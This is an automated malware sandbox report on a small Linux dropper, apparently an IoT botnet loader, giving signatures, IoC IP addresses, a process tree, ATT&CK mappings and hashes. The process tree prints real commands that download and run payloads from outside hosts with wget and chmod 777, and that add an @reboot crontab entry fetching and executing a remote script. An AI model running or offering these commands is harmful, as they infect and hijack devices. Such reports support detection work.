8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f

Analysis

max time kernel
105s
max time network
144s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29-12-2024 02:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f.unknown
Size

610B
MD5

92d13edccd8d4b5832ee62c441c24785
SHA1

dbb27ddb5dca8aead2e72e887c24cfce68947a22
SHA256

8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f
SHA512

d3f9223e692eff6ec1e5067555f05bf676489959fddddf3f890afa8006ae0c27500d61fabfcff3d14d1f03acd0f573b1cd61a1ee78ce16e9da4b075a03cd606a

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
761	chmod
779	chmod
802	chmod
820	sh
831	chmod
735	chmod
753	chmod
757	chmod
818	chmod
828	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/run/user/0/upnp	754	upnp
/run/user/0/upnp	758	upnp
/run/user/0/upnp	762	upnp
/run/user/0/upnp	781	upnp
/run/user/0/upnp	803	upnp
/run/user/0/upnp	819	upnp
/run/user/0/upnp	829	upnp
/run/user/0/upnp	832	upnp

Renames itself 1 IoCs

pid	Process
819	upnp

Unexpected DNS network traffic destination 5 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	70.34.254.19
Destination IP	51.158.108.203
Destination IP	152.53.15.127
Destination IP	217.160.70.42
Destination IP	70.34.254.19

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.sB1TBf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kswapd0]	819	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/273/stat	killall
File opened for reading	/proc/829/status	upnp
File opened for reading	/proc/836/status	upnp
File opened for reading	/proc/831/status	upnp
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/153/cmdline	killall
File opened for reading	/proc/679/stat	killall
File opened for reading	/proc/706/stat	killall
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/833/status	upnp
File opened for reading	/proc/835/status	upnp
File opened for reading	/proc/153/stat	killall
File opened for reading	/proc/158/stat	killall
File opened for reading	/proc/352/stat	killall
File opened for reading	/proc/363/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/674/stat	killall
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/110/stat	killall
File opened for reading	/proc/366/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/126/stat	killall
File opened for reading	/proc/840/status	upnp
File opened for reading	/proc/176/stat	killall
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/709/cmdline	upnp
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/125/stat	killall
File opened for reading	/proc/256/stat	killall
File opened for reading	/proc/677/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/126/cmdline	killall
File opened for reading	/proc/837/status	upnp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/846/status	upnp
File opened for reading	/proc/842/status	upnp
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/68/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/685/stat	killall
File opened for reading	/proc/806/cmdline	upnp
File opened for reading	/proc/354/stat	killall
File opened for reading	/proc/701/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/832/status	upnp
File opened for reading	/proc/841/status	upnp

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
784	wget
803	upnp

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.a	8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f.unknown

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.a	8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f.unknown

/tmp/8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f.unknown
/tmp/8de33221d6d2c4845384f131583dbae52cb5eb1571311e26ca03566fc6d0740f.unknown
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:709
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:711
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:715
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:719
- /bin/grep
  grep -v noexe
  2⤵
  PID:718
- /bin/grep
  grep rw
  2⤵
  PID:717
- /bin/grep
  grep tmpfs
  2⤵
  PID:716
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:725
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:727
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:729
- /bin/cp
  cp /proc/self/exe .f
  2⤵
  - Reads runtime system information
  PID:732
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /bin/rm
  rm -rf upnp
  2⤵
  PID:737
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:739
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /run/user/0/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  PID:754
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:756
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /run/user/0/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:758
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:760
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:762
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:764
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:781
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:784
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /run/user/0/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:803
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:807
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /run/user/0/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:819
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:820
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:823
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:822
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:827
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /run/user/0/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /run/user/0/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/user/0/.f

Filesize
147KB

MD5
cb925874303b1803b2c3dc486d3f8328

SHA1
017d9efd6b451245076d3e27fdd1b3f5f49d8865

SHA256
0857b37e550e8342a347eec0b3501a1aa5d315b2caf7ba027e672092d3593fee

SHA512
e3e731934a643e03459a1d1c6d92810c66368404994f4e0f46165d0f901a70edcaec1dc0d0cb8c48ab146979231e26a99ec28e692bc751234473ebbb6555ee90

Download Submit
/run/user/0/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/run/user/0/upnp

Filesize
85KB

MD5
d8b9115310ca0429f6ec2473696156a2

SHA1
5497d765ad0b6ad6ed2204338faecd9671f6a60c

SHA256
7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

SHA512
a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

Download Submit
/run/user/0/upnp

Filesize
99KB

MD5
559f129d380ad1cfb60792c6b2dc3d32

SHA1
3997a0fc0bd5958783f1751364ec407c5b170adc

SHA256
fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

SHA512
9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

Download Submit
/run/user/0/upnp

Filesize
100KB

MD5
de6ef4e554d7fc17efc20fabafe82de8

SHA1
eca13ec698bed4ccde75e459d9267e68cbf874e9

SHA256
9fe5e0525979f5bbff9354895b7299f0ee4a2bad41877636a71fcafaae283ec0

SHA512
2e05e623b1ed416af7dfd115daef34ad5c1a4d334a267a84900998f2c58c577e0cca3b55c5f2acc7074b6f3f957a8999d70864875d5d0534d0c28f33c97f847e

Download Submit
/run/user/0/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/var/spool/cron/crontabs/tmp.sB1TBf

Filesize
306B

MD5
2d4c440d7bcf39114f32f807db51b06b

SHA1
2706c82bdb7a64ee541b38ce405724c0cba7ba06

SHA256
fe7de5b4a470d5b9075d9bcddfef70890c7dadda8957b03cfd040aa5f4f2cecb

SHA512
e20293ae4cc174a19ee5aedf873182bb274c28db62871b6825c565c9cac68e833f8b6b872b7215ad632ae0445bb8e095b3177960f0316fc660768f1f48ec3af8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads